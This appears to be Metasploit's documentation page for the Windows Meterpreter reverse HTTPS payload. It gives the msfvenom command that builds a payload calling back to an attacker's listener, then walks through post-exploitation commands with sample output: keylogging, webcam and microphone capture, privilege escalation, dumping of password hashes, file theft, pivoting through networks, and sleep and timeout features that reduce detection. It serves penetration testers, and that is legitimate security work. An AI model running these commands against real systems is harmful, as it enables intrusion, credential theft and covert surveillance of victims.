Windows Meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (wininet) - Metasploit

msf > use payload/windows/meterpreter/reverse_https
msf payload(reverse_https) > show options
    ... show and set options ...
msf payload(reverse_https) > generate

windows/meterpreter/reverse_https is a unique Windows payload for Metasploit Framework. It is capable of doing things like remotely control the file system, sniff, keylog, hashdump, pivoting, run extensions, etc. But the real strength of this is the way it talks to the attacker.

Instead of a stream-based communication model (tied to a specific TCP session), the stager provides a packet-based transaction system instead. You know, kind of like a botnet that we see today. The use of HTTPS also makes the payload communication a little bit harder to detect.

Vulnerable Application

---

This Meterpreter payload is suitable for the following environments:

• Windows x64
• Windows x86

Deploying windows/meterpreter/reverse_https

---

windows/meterpreter/revese_https can be used in two different ways.

As an exploit payload

To check if windows/meterpreter/reverse_https is compatible with the exploit or not, first you can use the info command on the exploit you want to use:

msf exploit(ms08_067_netapi) > info

       Name: MS08-067 Microsoft Server Service Relative Path Stack Corruption
     Module: exploit/windows/smb/ms08_067_netapi
   Platform: Windows
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2008-10-28

...

If the platform field includes Windows, then you can use windows/meterpreter/reverse_https as the payload.

Depending on the module, sometimes you have to select a specific target by first checking the target list, like the following:

show targets

If there is a Windows target, use that:

set TARGET [index]

To actually set the payload:

1. In msfconsole, load the exploit.
2. Do: set PAYLOAD windows/meterpreter/reverse_https
3. Set the LHOST OPTION WHICH, which IP the same the payload connect to.
4. Run th exploit

As a standalone

To generate windows/meterpreter/reverse_https, you can do this from msfvenom:

./msfvenom -p windows/meterpreter/reverse_https lhost=172.16.23.1 lport=4444 -f exe -o /tmp/https.exe

Important Basic Commands

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pwd command

The pwd command allows you to see the current directory you're in on the remote target. Example:

meterpreter > pwd
C:\Users\sinn3r\Desktop

cd command

The cd command allows you to change directories. Example:

meterpreter > cd C:\\

cat command

The cat command allows you to see the content of a file:

meterpreter > cat data.txt
Hello World

upload command

The upload command allows you to upload a file to the remote target. For example:

meterpreter > upload /tmp/payload.exe C:\\Users\\sinn3r\\Desktop
[*] uploading  : /tmp/payload.exe -> C:\Users\sinn3r\Desktop
[*] uploaded   : /tmp/payload.exe -> C:\Users\sinn3r\Desktop\payload.exe
meterpreter > 

The -r option for the command also allows you to upload recursively.

download command

The download command allows you download a file from the remote target to your machine. For example:

meterpreter > download C:\\Users\\sinn3r\\Desktop\\password.txt
[*] downloading: C:\Users\sinn3r\Desktop\password.txt -> password.txt
[*] download   : C:\Users\sinn3r\Desktop\password.txt -> password.txt

search command

The search command allows you to find files on the remote file system. For example, this demonstrates how to find all text files in the current directory:

meterpreter > search -d . -f *.txt
Found 1 result...
    .\password.txt (11 bytes)

Note that without the -d option, the command will attempt to search in all drives.

The -r option for the commands allows you to search recursively.

ifconfig/ipconfig command

The ifconfig command displays the network interfaces on the remote machine:

meterpreter > ipconfig

Interface  1
============
Name         : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU          : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff


Interface 2
============
Name         : Intel(R) PRO/1000 MT Network Connection
Hardware MAC : 00:0c:29:eb:33:d9
MTU          : 1500
IPv4 Address : 172.16.23.185
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::5911:c25:bd50:5a6d
IPv6 Netmask : ffff:ffff:ffff:ffff::

meterpreter > 

The command ipconfig is an alias for ifconfig.

getuid command

The getuid command shows you the current user that the payload is running as:

meterpreter > getuid
Server username: WIN-6NH0Q8CJQVM\sinn3r

execute command

The execute command allows you to execute a command or file on the remote machine.

The following example will spawn a calculator:

meterpreter > execute -f calc.exe
Process 2020 created.

ps command

The ps command lists the running processes on the remote machine.

shell command

The shell command allows you to interact with the remote machine's command prompt. Example:

meterpreter > shell
Process 2872 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\sinn3r\Desktop>

sysinfo command

The sysinfo command shows you basic information about the remote machine. Example:

meterpreter > sysinfo
Computer        : WIN-6NH0Q8CJQVM
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x86
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/win32
meterpreter > 

keyscan command

The keyscan_start command starts the keylogging feature on the remote machine.

keyscan_dump command

The keyscan_dump command is a keylogger feature. You must use the keyscan_start command before using this. Example:

meterpreter > keyscan_start
Starting the keystroke sniffer...
meterpreter > keyscan_dump
Dumping captured keystrokes...
hello world!
meterpreter > 

keyscan_stop command

The keyscan_stop command stops the keylogger.

screenshot command

The screenshot command takes a screenshot of the target machine.

webcan_list command

The webcam_list commands shows you a list of webcams that you can control. You'll probably want to use this first before using any other webcam commands.

webcam_snap command

The webcam_snap commands uses the selected webcam to take a picture.

webcam_stream command

The webcam_stream command basically uses the webcam_snap command repeatedly to create the streaming effect. There is no sound.

record_mic command

The record_mic command captures audio on the remote machine.

getsystem command

The getsystem command attempts to elevate your privilege on the remote machine with one of these techniques:

• Named pipe impersonation (in memory)
• Named pipe impersonation (dropper)
• Token duplication (in memory)

Example:

meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

hashdump command

The hashdump commands allows you to dump the Windows hashes if there are the right privileges. For sxample:

meterpreter > hashdump
Administrator:500:e39baff0f2c5fd4e93e28745b8bf4ba6:f4974ee4a935ee160a927eafbb3f317f:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:92a84e332fa4b09e9850257ad6826566:8fb9a6e155fd6e14a16c37427b68bbb4:::
root:1003:633c097a37b26c0caad3b435b51404ee:f2477a144dff4f216ab81f2ac3e3207d:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:e09fcdea29d93203c925b205640421f2:::

detach command

The detach command allows you to temporarily disconnect the Meterpreter session without actually losing it, as the following example demonstrates:

meterpreter > detach

[*] 172.16.23.185 - Meterpreter session 1 closed.  Reason: User exit
msf exploit(handler) > run

[*] Started HTTPS reverse handler on https://172.16.23.1:4444
[*] Starting the payload handler...
[*] https://172.16.23.1:4444 handling request from 172.16.23.185; (UUID: utvmhcay) Attaching orphaned/stageless session...
"https://172.16.23.1:4444/56uhMwqiB8B0s3WyIzN-3wEo5JA4AcwGUum6UAAWxN2MEy0-Tw8f0GH7EOK-uTte7O6WXt8y9KRTiQX88Fn0CNy5yxFMndf1NPfRXelG6se/"
[*] Meterpreter session 2 opened (172.16.23.1:4444 -> 172.16.23.185:49207) at 2016-07-11 11:38:21 -0500

meterpreter >

By default, the Meterpreter session will continue to reach back to you for five minutes. If it is unable to connect back after that, it will terminate. You can extend this by setting the SessionCommunicationTimeout option to your choice. Setting this option to 0 ensures that your session will reattach whenever the target comes back online, as long as the payload handler is running.

Using a Post Module

---

One of the best things about Meterpreter is you have access to a variety of post exploitation modules, specifically for the multi and Windows categories. Post modules provide you with more capabilities to collect data from the remote machine automatically. For example, you can steal passwords from popular applications and enumerate or modify system settings.

To use a post module from the Meterpreter prompt, simply use the run command:

meterpreter > run post/windows/gather/checkvm 

[*] Checking if WIN-6NH0Q8CJQVM is a Virtual Machine .....
[*] This is a VMware Virtual Machine
meterpreter >

It is also possible to run a post module via multiple Meterpreter sessions. To learn how, load the specific post module you wish to run, and enter info -d to see the basic usage in the documentation.

Using the Post Exploitation API in IRB

---

To enter IRB, do the following at the Meterpreter prompt:

meterpreter > irb
[*] Starting IRB shell
[*] The 'client' variable holds the meterpreter client

>> 

The client object

The client object in Meterpreter's IRB allows you control or retrieve information about the host. For example, this demonstrates how to obtain the current privilege we're running the payload as:

>> client.sys.config.getuid

To explore the client object, there are a few tricks. For example, you can use the #inspect method to inspect it:

>> client.inspect

You can use the #methods method to see what methods you can use:

>> client.methods

To find the source of the method, you can use the #source_location method. For example, say I want to find the source code for the #getuid method:

>> client.sys.config.method(:getuid).source_location
=> ["/Users/user/rapid7/msf/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb", 32]

The first element of the array is the location of the file. The second element is the line number of the method.

Using Railgun

---

Railgun allows you to use the remote machine's Windows API in Ruby. For example, to create a MessageBox on the target machine, do:

>> client.railgun.user32.MessageBoxA(0, "hello, world", "hello", "MB_OK")
=> {"GetLastError"=>0, "ErrorMessage"=>"The operation completed successfully.", "return"=>1}

To learn more about using Railgun, please read this wiki.

Routing through the portfwd command

---

The portfwd command allows you to talk to a remote service like it's local. For example, SMB is a commonly targeted protocol, but by default it is blocked by a firewall. To being able to talk to it, we can portfwd via an active session:

meterpreter > portfwd add -l 445 -p 445 -r 172.16.23.185
[*] Local TCP relay created: :445 <-> 172.16.23.185:445

And then talk to the remote SMB service like it's local:

msf auxiliary(smb_version) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf auxiliary(smb_version) > run

[*] 127.0.0.1:445         - Host is running Windows 7 Ultimate SP1 (build:7601) (name:WIN-6NH0Q8CJQVM) (domain:WORKGROUP)

Routing through msfconsole

---

The route command from the msf prompt can also be used to bypass firewall like portfwd, but it also allows you to connect to hosts on a different network through the compromised machine.

To do that, first off, look at the ifconfig/ipconfig output and determine your pivot point:

meterpreter > ipconfig

Make sure you know the subnet, netmask, and the Meterpreter/session ID. Return to the msf prompt, and establish that route:

msf > route add 192.168.1.0 255.255.255.0 1

At that point, you should have a working pivot. You can use other Metasploit modules to explore or exploit more hosts on the network, or use auxiliary/server/socks4a and Proxychains to allow other third-party tools to do the same.

Meterpreter Stageless Mode

---

A stageless Meterpreter allows a more economical way to deliver the payload, for cases where a normal one would actually cost too much time and bandwidth in a penetration test. To learn more about this, click on this to read more.

To use the stageless payload, use windows/meterpreter_reverse_https instead.

Meterpreter Sleep Control

---

The sleep mode allows the payload on the target machine to be quiet for awhile, mainly in order to avoid suspicious active communication. It also provides better efficiency.

It is very simple to use. At the Meterpreter prompt, simply do:

meterpreter > sleep 20

And that will allow Meterpreter to sleep 20 seconds, and will reconnect as long as the handler remains active (such as running as a background job).

To learn more about this feature, please click here.

Meterpreter Timeout Control

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The timeout control basically defines the life span of Meterpreter. To configure it, use the set_timeouts command:

meterpreter > set_timeouts 
Usage: set_timeouts [options]

Set the current timeout options.
Any or all of these can be set at once.

OPTIONS:

    -c   Comms timeout (seconds)
    -h        Help menu
    -t   Retry total time (seconds)
    -w   Retry wait time (seconds)
    -x   Expiration timout (seconds)

To see the current timeout configuration, you can use the get_timeouts command:

meterpreter > get_timeouts
Session Expiry  : @ 2016-03-11 21:15:58
Comm Timeout    : 300 seconds
Retry Total Time: 3600 seconds
Retry Wait Time : 10 seconds

To learn more about timeout control, please go here.

Meterpreter Transport Control

---

Transport Control allows you manage transports on the fly while the payload session is still running. Meterpreter can automatically cycle through the transports when communication fails, or you can do it manually.

To learn more about this, please read this documentation.

msf6 > use payload/windows/meterpreter/reverse_https

msf6 payload(windows/meterpreter/reverse_https) > show info

       Name: Windows Meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (wininet)
     Module: payload/windows/meterpreter/reverse_https
   Platform: Windows
       Arch: x86
Needs Admin: No
 Total size: 533
       Rank: Normal

Provided by:
  skape <[email protected]>
  sf <[email protected]>
  OJ Reeves
  hdm <[email protected]>

Basic options:
Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST                      yes       The local listener hostname
LPORT     8443             yes       The local listener port
LURI                       no        The HTTP Path

Description:
  Inject the Meterpreter server DLL via the Reflective Dll Injection 
  payload (staged). Requires Windows XP SP2 or newer. Tunnel 
  communication over HTTPS (Windows wininet)

msf6 payload(windows/meterpreter/reverse_https) > show options

Module options (payload/windows/meterpreter/reverse_https):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST                      yes       The local listener hostname
   LPORT     8443             yes       The local listener port
   LURI                       no        The HTTP Path

msf6 payload(windows/meterpreter/reverse_https) > show advanced

Module advanced options (payload/windows/meterpreter/reverse_https):

   Name                         Current Setting                                                Required  Description
   ----                         ---------------                                                --------  -----------
   AutoLoadStdapi               true                                                           yes       Automatically load the Stdapi extension
   AutoRunScript                                                                               no        A script to run automatically on session creation.
   AutoSystemInfo               true                                                           yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false                                                          yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30                                                             no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false                                                          no        Encode the second stage payload
   EnableUnicodeEncoding        false                                                          yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                                                              no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   HttpCookie                                                                                  no        An optional value to use for the Cookie HTTP header
   HttpHostHeader                                                                              no        An optional value to use for the Host HTTP header
   HttpProxyHost                                                                               no        An optional proxy server IP address or hostname
   HttpProxyPass                                                                               no        An optional proxy server password Max parameter length: 63 characters
   HttpProxyPort                                                                               no        An optional proxy server port
   HttpProxyType                HTTP                                                           yes       The type of HTTP proxy (Accepted: HTTP, SOCKS)
   HttpProxyUser                                                                               no        An optional proxy server username Max parameter length: 63 characters
   HttpReferer                                                                                 no        An optional value to use for the Referer HTTP header
   HttpServerName               Apache                                                         no        The server header that the handler will send in response to requests
   HttpUnknownRequestResponse   <html><body><h1>It works!</h1></body></html>                   no        The returned HTML response body when the handler receives a request that is not from a payload
   HttpUserAgent                Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko  no        The user-agent that the payload should use for communication Max parameter length: 255 characters
   IgnoreUnknownPayloads        false                                                          no        Whether to drop connections from payloads using unknown UUIDs
   InitialAutoRunScript                                                                        no        An initial script to run on session creation (before AutoRunScript)
   OverrideLHOST                                                                               no        When OverrideRequestHost is set, use this value as the host name for secondary requests
   OverrideLPORT                                                                               no        When OverrideRequestHost is set, use this value as the port number for secondary requests
   OverrideRequestHost          false                                                          no        Forces a specific host and port instead of using what the client requests, defaults to LHOST:LPORT
   OverrideScheme                                                                              no        When OverrideRequestHost is set, use this value as the scheme for secondary requests, e.g http or https
   PayloadProcessCommandLine                                                                   no        The displayed command line that will be used by the payload
   PayloadUUIDName                                                                             no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                                                              no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                                                                             no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false                                                          yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                                                              yes       How many additional successful pingbacks
   PingbackSleep                30                                                             yes       Time (in seconds) to sleep between pingbacks
   PrependMigrate               false                                                          yes       Spawns and runs shellcode in new process
   PrependMigrateProc                                                                          no        Process to spawn and run shellcode in
   ReverseAllowProxy            false                                                          yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                                                                  no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                                                                     no        The port to bind to on the local system if different from LPORT
   SessionCommunicationTimeout  300                                                            no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800                                                         no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600                                                           no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10                                                             no        Number of seconds to wait between reconnect attempts
   StageEncoder                                                                                no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                                                                   no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true                                                           no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10                                                             no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                                                              no        Number of seconds to wait for the stager between reconnect attempts
   StagerURILength                                                                             no        The URI length for the stager (at least 5 bytes)
   StagerVerifySSLCert          false                                                          no        Whether to verify the SSL certificate in Meterpreter
   VERBOSE                      false                                                          no        Enable detailed status messages
   WORKSPACE                                                                                   no        Specify the workspace for this module